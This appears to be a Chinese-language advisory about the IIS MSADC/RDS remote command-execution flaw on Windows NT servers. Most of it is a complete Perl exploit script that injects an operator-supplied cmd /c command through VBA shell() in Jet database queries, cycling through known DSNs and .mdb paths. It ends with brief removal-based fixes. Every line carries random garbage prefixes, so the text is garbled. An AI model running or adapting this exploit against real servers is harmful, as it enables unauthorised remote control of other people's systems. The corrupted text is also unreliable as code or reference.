IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9V&+xbR& kdx06'4o 涉及程序:
DHuvHK0# Microsoft NT server
5} ur,0{ <sM_zoprc 描述:
U>bIQk"4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.a(G=fk }$qrNbLJ 详细:
skTaIGRL 如果你没有时间读详细内容的话,就删除:
f\Hw Y)^> c:\Program Files\Common Files\System\Msadc\msadcs.dll
:A:7^jrhi 有关的安全问题就没有了。
*O @Zn !b4AeiL>w 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
8;c\}D Qp)?wny4 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
D^P0X:T] 关于利用ODBC远程漏洞的描述,请参看:
%zRuIDmv "UhE'\() http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r!eW]M 8t, &dq 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
RW1+y/#%P http://www.microsoft.com/security/bulletins/MS99-025faq.asp T5e#Ll/ R^sgafGl= 这里不再论述。
)Y'g; ZNk[Jn
[. 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,/TmTX--d !7Qj8YmS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
I|K!hQ"m 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
:oC;.u<*8 P?c V d2Y <1m` #将下面这段保存为txt文件,然后: "perl -x 文件名"
o"L8n(\ YGs'[On8 #!perl
%6^nb'l'C #
/YU8L # MSADC/RDS 'usage' (aka exploit) script
2Q@Jp`#,4 #
Vm8dX? # by rain.forest.puppy
J(maJuY #
y;4g>ma0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=OV5DmVmQ # beta test and find errors!
HINk&)FC \-{$IC-L use Socket; use Getopt::Std;
7bRfkKD getopts("e:vd:h:XR", \%args);
|M
t2 uTPAf^| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
=3SJl1w1 ips)-1 if (!defined $args{h} && !defined $args{R}) {
R+e)TR7+ print qq~
Dd/]?4 Usage: msadc.pl -h <host> { -d <delay> -X -v }
9n_RkW5g -h <host> = host you want to scan (ip or domain)
h05FR[</ -d <seconds> = delay between calls, default 1 second
"AKr;|m -X = dump Index Server path table, if available
Uam%u -v = verbose
3PL0bejaT7 -e = external dictionary file for step 5
m-;8O / }Y!s:w# Or a -R will resume a command session
?MmQ'1N )p> p3b g ~; exit;}
u>agVB4\F w'$>E4\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+ug/%Iay{k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~&F|g2: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_y>drvg if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*<SXzJ( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yM9>)SE5` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~UQ<8`@a S% Ky+0 if (!defined $args{R}){ $ret = &has_msadc;
C"0
VOb die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
be]/ROP>H |wQ3+WN| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
sKR%YK
"A . "cmd /c ";
F s=x+8'M $in=<STDIN>; chomp $in;
0.nkh6? $command="cmd /c " . $in ;
!Y7$cU &
y!R9)=/M if (defined $args{R}) {&load; exit;}
4MW oGV9 fl9VokAT print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_?'W30Dg &try_btcustmr;
;pOV; q3j "*l{ m2" print "\nStep 2: Trying to make our own DSN...";
v3t<rv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
KU0Ad);e BI*0JKQu print "\nStep 3: Trying known DSNs...";
T \- x3i &known_dsn;
&0|Z FXPd 1uG)U)y/Q print "\nStep 4: Trying known .mdbs...";
#r?[@aJ &known_mdb;
\pTC[Ry1 PU1YR;[Fe if (defined $args{e}){
|*h{GX.( print "\nStep 5: Trying dictionary of DSN names...";
|]?W`KN0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8f)pf$v` -wl&~}%M print "Sorry Charley...maybe next time?\n";
dV'^K%# exit;
eX}aa0 /?XI,#j3kM ##############################################################################
\Zx&J.D EL z5P}L6 sub sendraw { # ripped and modded from whisker
Ars*H,9>e sleep($delay); # it's a DoS on the server! At least on mine...
}0@@_Y]CC my ($pstr)=@_;
s?->2gxhx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y+vIU*O die("Socket problems\n");
S# baOO if(connect(S,pack "SnA4x8",2,80,$target)){
i`];xNR' select(S); $|=1;
*kTp(*K/7` print $pstr; my @in=<S>;
BBV>QL select(STDOUT); close(S);
8Exky^OT| return @in;
?@FqlWz , } else { die("Can't connect...\n"); }}
&OXx\}>MW V\r{6-%XiW ##############################################################################
_:5t~29 r%X
M`;bQX sub make_header { # make the HTTP request
W7_m,{q my $msadc=<<EOT
VnB HQ.C POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
EowzEGq!a5 User-Agent: ACTIVEDATA
_!Tjb^ Host: $ip
! os@G Content-Length: $clen
> mJ`904L Connection: Keep-Alive
Lw(tO0b2H
JgKhrDx ADCClientVersion:01.06
2DJg__(" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L;{{P7 d=uGB" --!ADM!ROX!YOUR!WORLD!
[cznhIvyO Content-Type: application/x-varg
K{@xZ) Content-Length: $reqlen
@o'L! 5Y 83'+q((< EOT
:~srl)|) ; $msadc=~s/\n/\r\n/g;
3ZyvX]@_ return $msadc;}
v+79#qWK|n c9CFGo?)N ##############################################################################
.;ofRx< o.Y6(o sub make_req { # make the RDS request
CH|cK8q my ($switch, $p1, $p2)=@_;
5M5vxJ)Lh my $req=""; my $t1, $t2, $query, $dsn;
8+".r2*_iO fB,eeT1v?h if ($switch==1){ # this is the btcustmr.mdb query
-Q?c'e $query="Select * from Customers where City=" . make_shell();
0a<h,s0"2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8tna<Hx $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/7p(%vr r#&JfAo elsif ($switch==2){ # this is general make table query
&V+KM"Ow $query="create table AZZ (B int, C varchar(10))";
X%(NI(+x, $dsn="$p1";}
xFM^-`7 GJ2ZK=/ elsif ($switch==3){ # this is general exploit table query
qP##C&+#q $query="select * from AZZ where C=" . make_shell();
J65:MaS $dsn="$p1";}
m8R=wb
: "zQ<)Q]U elsif ($switch==4){ # attempt to hork file info from index server
S-~)|7d. $query="select path from scope()";
y^nT
G $dsn="Provider=MSIDXS;";}
WwtVuc| wpi$-i` elsif ($switch==5){ # bad query
f/IQ2yT-:D $query="select";
Zz/p'3?# $dsn="$p1";}
*fv BB9raq ;~d$OM $t1= make_unicode($query);
:i0;jWcb $t2= make_unicode($dsn);
3^fwDt} $req = "\x02\x00\x03\x00";
g"m9[R=]6 $req.= "\x08\x00" . pack ("S1", length($t1));
-U
A &Zt $req.= "\x00\x00" . $t1 ;
JXq!v:w6 $req.= "\x08\x00" . pack ("S1", length($t2));
~jHuJ`]DF $req.= "\x00\x00" . $t2 ;
'r\RN\PT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I^u~r. return $req;}
-Eq[J k `#8k Jt ##############################################################################
Qy[S~D_ =&9c5"V& sub make_shell { # this makes the shell() statement
|pG0 .p4 return "'|shell(\"$command\")|'";}
<%m1+%mA. p9u'nDi ##############################################################################
ANM=:EtP /QVwZrch sub make_unicode { # quick little function to convert to unicode
K\8zhY my ($in)=@_; my $out;
Qo^(r$BD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I_Gz~ qk6 return $out;}
!~R<Il|B !.t D.(XP ##############################################################################
2QAP$f0Ln #-+Q]}fB4 sub rdo_success { # checks for RDO return success (this is kludge)
Y3(MKq my (@in) = @_; my $base=content_start(@in);
EStui>ho if($in[$base]=~/multipart\/mixed/){
xDH#K0-#L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j3N d4# return 0;}
JsuI&v +Ss3Ph ##############################################################################
zF>;7'\x B]() sub make_dsn { # this makes a DSN for us
|mRlP5 my @drives=("c","d","e","f");
|j9aTv[` print "\nMaking DSN: ";
ePJ_O~c foreach $drive (@drives) {
qq<T~^ print "$drive: ";
(U#
Oj" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
42 lw>gzr! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@|wU
@by{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
L]!![v.VY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#ley3rJW] return 0 if $2 eq "404"; # not found/doesn't exist
~I;x_0iY4 if($2 eq "200") {
-Q
JP J. foreach $line (@results) {
v7KBYN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=H;'.!77Hx } return 0;}
*)
T"-}F p'%S{v@5(( ##############################################################################
-LUZ7,!/>o i '*!c sub verify_exists {
n^hkH1vY my ($page)=@_;
">3t+A my @results=sendraw("GET $page HTTP/1.0\n\n");
1i~q~O, return $results[0];}
Z}>F
V~4 'xG J;pY ##############################################################################
!5?_) <rK[ &JlJ sub try_btcustmr {
4'*.3f'bp my @drives=("c","d","e","f");
_xm<zy{`S my @dirs=("winnt","winnt35","winnt351","win","windows");
BN%cX2j %*npLDi foreach $dir (@dirs) {
Z}\,rex print "$dir -> "; # fun status so you can see progress
\9`
~9#P foreach $drive (@drives) {
?a% F3B print "$drive: "; # ditto
y?O-h1"3, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
DbFe;3 $reqlenlen=length( "$reqlen" );
6B7*|R> $clen= 206 + $reqlenlen + $reqlen;
NQZ /E )f Ert={"Q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"Ueq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9*K-d'm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
a@|H6:| ob2_=hQnC ##############################################################################
6D2ot&5WW +75"Q:I sub odbc_error {
.[1 f$ my (@in)=@_; my $base;
(GpP=lSSeY my $base = content_start(@in);
[M%?[E}> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&oHr]=xA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a:UkVK]MP $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r4K9W90 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4K7ved) return $in[$base+4].$in[$base+5].$in[$base+6];}
g}R Cjl4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
T8|?mVv s print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-=gI_wLbM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%W7%] Z@j \z FCph4 ##############################################################################
v^s?=9 0|j44e} sub verbose {
G"-V6CA[ my ($in)=@_;
MD<x{7O12> return if !$verbose;
U!c+i#:t print STDOUT "\n$in\n";}
7 L,`7k| '<<@@.(f ##############################################################################
26k~Z} DeNWh2 sub save {
Fv
%@k{ my ($p1, $p2, $p3, $p4)=@_;
$/g`{OI]K open(OUT, ">rds.save") || print "Problem saving parameters...\n";
a.gMH
uL print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
KA{QGaZ/ close OUT;}
>]gB@tn[ LiQH!yHW ##############################################################################
;}U]^LT=
8J$1N*J| sub load {
*aWh]x9TlU my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"j?x gV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!> +Lre@ @p=<IN>; close(IN);
%5KK#w " $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/<$|tp\Rc $target= inet_aton($ip) || die("inet_aton problems");
_RxnB? print "Resuming to $ip ...";
fS|e{!iI" $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=A'JIssk if($p[1]==1) {
^%Cd@!dk $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
uuF~+=.| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
W% Lrp{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=EA @ if (rdo_success(@results)){print "Success!\n";}
XP}5i!}}7= else { print "failed\n"; verbose(odbc_error(@results));}}
2YWO'PL elsif ($p[1]==3){
u1u;aG if(run_query("$p[3]")){
q5EkAh<PD| print "Success!\n";} else { print "failed\n"; }}
SnXM`v, elsif ($p[1]==4){
I{U|'a if(run_query($drvst . "$p[3]")){
ts@$* print "Success!\n"; } else { print "failed\n"; }}
G9QvIXRi exit;}
H*3u]Ebh Q#ksf
h!D ##############################################################################
PHIc7*_ *?uUP sub create_table {
N: 38N my ($in)=@_;
o~9*J)X5i $reqlen=length( make_req(2,$in,"") ) - 28;
2
V \hG?< $reqlenlen=length( "$reqlen" );
>!" Sr3,L $clen= 206 + $reqlenlen + $reqlen;
Nv;'Ys P my @results=sendraw(make_header() . make_req(2,$in,""));
:R:@V#Y return 1 if rdo_success(@results);
tK{#kApHGG my $temp= odbc_error(@results); verbose($temp);
<zvtQ^{] return 1 if $temp=~/Table 'AZZ' already exists/;
fSVM[ return 0;}
hslT49m> lV4TFt, ##############################################################################
r1RM7y 2h*aWBLk sub known_dsn {
Z"w}`&TC$^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4h--x~ @ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
o_Y?s+~i[/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
VZ`YbY "banner", "banners", "ads", "ADCDemo", "ADCTest");
tS3&&t I/A%3i=H foreach $dSn (@dsns) {
g5Io=e@s print ".";
uTrzC+\aU next if (!is_access("DSN=$dSn"));
}{:}K< if(create_table("DSN=$dSn")){
/`aPV"$M print "$dSn successful\n";
Lwf[*n d if(run_query("DSN=$dSn")){
'" &*7)+g* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W
wj+\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
k$J!,!q /=9dX;
# ##############################################################################
V62lN<M (]I=';\ sub is_access {
Wrp+B[{r\ my ($in)=@_;
>Sk%78={R $reqlen=length( make_req(5,$in,"") ) - 28;
,f,+) C$ $reqlenlen=length( "$reqlen" );
b.[9Adi > $clen= 206 + $reqlenlen + $reqlen;
}.9a!/@Aj my @results=sendraw(make_header() . make_req(5,$in,""));
hH;i_("i(h my $temp= odbc_error(@results);
zIS ,N ' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
06.8m;{N return 0;}
w^nA/=;r ]K>bSK^TX ##############################################################################
z%+rI [U^Cz{G sub run_query {
;ud"1wH my ($in)=@_;
b|kL*{; $reqlen=length( make_req(3,$in,"") ) - 28;
"o u{bKe $reqlenlen=length( "$reqlen" );
i-4L{T\K $clen= 206 + $reqlenlen + $reqlen;
2MYez>D my @results=sendraw(make_header() . make_req(3,$in,""));
xpuTh"ED return 1 if rdo_success(@results);
eA?|X| my $temp= odbc_error(@results); verbose($temp);
T7/DH return 0;}
eA
Fp<2g x]%,?Vd? ##############################################################################
k6z]"[yu \k=%G_W sub known_mdb {
-}oH],C my @drives=("c","d","e","f","g");
Tl-%;X<X my @dirs=("winnt","winnt35","winnt351","win","windows");
?g@X+!RB my $dir, $drive, $mdb;
".#h$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~Cyn w( e F}KOOfC # this is sparse, because I don't know of many
;Q/1l=Bn my @sysmdbs=( "\\catroot\\icatalog.mdb",
UM21Cfqex "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kqo4
v;r "\\system32\\certmdb.mdb",
z/QYy)_j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i7 YUyU IIBS:&;+- my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
bi@'m?XwJ "\\cfusion\\cfapps\\forums\\forums_.mdb",
-T+'3</T "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
| lzcyz "\\cfusion\\cfapps\\security\\realm_.mdb",
a[}?!G-Wt| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+`B^D "\\cfusion\\database\\cfexamples.mdb",
En&gI`3n "\\cfusion\\database\\cfsnippets.mdb",
eBmHb\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
RK$( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
M80O;0N%A "\\cfusion\\brighttiger\\database\\cleam.mdb",
7aPA+gA/ "\\cfusion\\database\\smpolicy.mdb",
c3PA<q[ "\\cfusion\\database\cypress.mdb",
<)sL8G9Y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*(]ZdB_2 "\\website\\cgi-win\\dbsample.mdb",
`}$bJCSF.n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Jx`7W1%T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+eLL)uk ); #these are just
}jWg&<5+z foreach $drive (@drives) {
M5_t#[ [ foreach $dir (@dirs){
i 2uSPV!Tf foreach $mdb (@sysmdbs) {
P;'ZdZ(SLu print ".";
u:l<NWF^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
RwrRN+&s\ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(./Iq#@S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8+Gwv
SDU print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>T0`( #Lm } else { print "Something's borked. Use verbose next time\n"; }}}}}
#(+V&<K -*J!Ws(9 foreach $drive (@drives) {
e?O$`lf foreach $mdb (@mdbs) {
TA:#K print ".";
-3b_}by if(create_table($drv . $drive . $dir . $mdb)){
j:2F97 print "\n" . $drive . $dir . $mdb . " successful\n";
>/%XP_q%`e if(run_query($drv . $drive . $dir . $mdb)){
-GB,g=Dk print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
i;|I;5tC } else { print "Something's borked. Use verbose next time\n"; }}}}
a gL@A }
\ZE=WvnhZ >$r o\/ ##############################################################################
Qr6PkHU ZUz7h^3@ sub hork_idx {
Au(oKs< print "\nAttempting to dump Index Server tables...\n";
wPcEvGBN= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7xG~4N<)] $reqlen=length( make_req(4,"","") ) - 28;
%CgV:.,K $reqlenlen=length( "$reqlen" );
MTNC{:Q $clen= 206 + $reqlenlen + $reqlen;
,\RR@~u' my @results=sendraw2(make_header() . make_req(4,"",""));
jPx}-_jM if (rdo_success(@results)){
{L.uLr_?e my $max=@results; my $c; my %d;
[io|qLr}\ for($c=19; $c<$max; $c++){
-m
;n}ECg $results[$c]=~s/\x00//g;
08%Bx~88_% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
K,U8 vc $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
37jrWe6xwp $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
})J}7@VPO $d{"$1$2"}="";}
#ZnNJ\6 foreach $c (keys %d){ print "$c\n"; }
7i#/eRui } else {print "Index server doesn't seem to be installed.\n"; }}
!3DY# $
O[Y ##############################################################################
I-Ut7W *{Z=)k% sub dsn_dict {
42}8es.aa
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
pW>{7pXn while(<IN>){
PQh s^D $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!<~cjgdx next if (!is_access("DSN=$dSn"));
{5d 5Y%& if(create_table("DSN=$dSn")){
=2} kiLKO print "$dSn successful\n";
vr2PCG[~ if(run_query("DSN=$dSn")){
),xD5~_=q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&" J; print "Something's borked. Use verbose next time\n";}}}
wg\p&avvb print "\n"; close(IN);}
\ptjnwC^O SN\c2^# ##############################################################################
SQx&4R. "Y- WY,H sub sendraw2 { # ripped and modded from whisker
qn |~YXn sleep($delay); # it's a DoS on the server! At least on mine...
cKoW5e|u my ($pstr)=@_;
@tD (<*f+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5nsoWqnE8 die("Socket problems\n");
>&7^yXS if(connect(S,pack "SnA4x8",2,80,$target)){
?`O^;f print "Connected. Getting data";
39F
e#u open(OUT,">raw.out"); my @in;
Jo~fri([%Q select(S); $|=1; print $pstr;
.|s,':hA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
j4]3}t0q close(OUT); select(STDOUT); close(S); return @in;
;G3?Sa7+ } else { die("Can't connect...\n"); }}
s2 :Vm\ x.] tGS ##############################################################################
8gt&*;'}*D ~mi4V sub content_start { # this will take in the server headers
#V#!@@c;? my (@in)=@_; my $c;
wQ@:0GJH for ($c=1;$c<500;$c++) {
uxh>r2Xr= if($in[$c] =~/^\x0d\x0a/){
0\@oqw]6hv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ijzwct#. else { return $c+1; }}}
gxAy{
t return -1;} # it should never get here actually
"VU/Ucb7 !H9^j6| ##############################################################################
rK:cUW0]X y=EVpd sub funky {
UEfY'%x my (@in)=@_; my $error=odbc_error(@in);
X|ZAC!J5> if($error=~/ADO could not find the specified provider/){
2' ^7G@% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K,%CE
]. exit;}
d2-oy5cEB if($error=~/A Handler is required/){
.V3e>8gw3 print "\nServer has custom handler filters (they most likely are patched)\n";
W}MN-0 exit;}
?A*!rW:l; if($error=~/specified Handler has denied Access/){
G'(rjH>q print "\nServer has custom handler filters (they most likely are patched)\n";
',LC!^:~Nw exit;}}
?#z<<FR ._`rh ##############################################################################
&oy')\H W7!iYxO sub has_msadc {
j:/Z_v' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
g%!U7CM6h my $base=content_start(@results);
fBv:
TC% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
[K'gvLt1 return 0;}
k6RVP:V &;L=f; ########################
^w<aS
w L/]
(pXEp X ,^([$ 解决方案:
yTZo4c" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
cF8 X 2、移除web 目录: /msadc